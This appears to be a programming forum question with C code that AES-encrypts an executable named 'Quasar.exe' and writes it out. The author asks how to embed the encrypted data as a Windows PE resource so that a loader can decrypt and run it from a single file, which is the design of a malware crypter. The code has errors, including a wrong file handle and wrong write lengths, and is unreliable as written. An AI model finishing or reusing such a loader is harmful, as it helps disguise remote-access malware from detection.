I have two .c files, one that generates an encrypted version of an input executable and another that accesses this data, decrypts it, and then runs it. My issue is I want the encrypted data to be hardcoded into the second file so that it can be run as a single executable itself. Currently, my encryption program writes the binary data to a .dat format file, however, I want this to be directly included in the second file as a resource. How can I accomplish this with Windows PE format resources? Both files are currently just .c files. Here is my code for reference:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/conf.h>
#include <openssl/evp.h>
#include <openssl/err.h>
#include <openssl/aes.h>
void handleErrors(void){
ERR_print_errors_fp(stderr);
abort();
}
int main(){
//read in the exe file and convert its bytes to a string
FILE *inFile;
inFile = fopen("Quasar.exe","rb");
if (inFile == NULL){
perror("Failed to read in file\n");
}
printf("File read in complete!\n");
if(fseek(inFile , 0 , SEEK_END) == -1){
perror("Offset error\n");
};
unsigned long lSize = ftell(inFile);
if (lSize == -1){
perror("Size error\n");
}
rewind(inFile);
unsigned char *unencryptedText = (unsigned char*) malloc (sizeof(unsigned char)*lSize);
fread(unencryptedText,1,lSize,inFile);
fclose(inFile);
unsigned char *encryptedText = (unsigned char*) malloc (3 *(sizeof(unsigned char)*lSize));
//encrypt these bytes with open ssl
printf("Encrypting...\n");
int outlen, tmplen;
unsigned char key[] = {0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15};
unsigned char iv[] = {1,2,3,4,5,6,7,8};
EVP_CIPHER_CTX* ctx = EVP_CIPHER_CTX_new();
EVP_CIPHER_CTX_init(ctx);
EVP_EncryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv);
if(EVP_EncryptUpdate(ctx, encryptedText, &outlen, unencryptedText, lSize *sizeof(char)) == 0){
ERR_print_errors_fp(stderr);
return 0;
}
if(EVP_EncryptFinal_ex(ctx, encryptedText + outlen, &tmplen) == 0){
ERR_print_errors_fp (stderr);
return 0;
}
outlen += tmplen;
EVP_CIPHER_CTX_cleanup(ctx);
printf("Encrypt Success!\n");
char absPath[500];
strcpy (absPath, "encrypted.dat");
FILE *outFile = fopen(absPath, "wb");
fwrite(encryptedText, lSize, 1, outFile);
fclose (outFile);
//decrypt
unsigned char *decryptedText = (unsigned char*) malloc (sizeof(unsigned char)*lSize);
EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv);
if(EVP_DecryptUpdate(ctx, decryptedText, &outlen, encryptedText, lSize) == 0){
ERR_print_errors_fp (stderr);
return 0;
}
EVP_CIPHER_CTX_cleanup(ctx);
printf("Decrypt Success!\n");
//write
char absPath2[500];
strcpy (absPath2, "decrypted.exe");
FILE *outFile2 = fopen(absPath2, "wb");
fwrite(decryptedText, lSize, 1, outFile);
fclose (outFile2);
return 0;
}
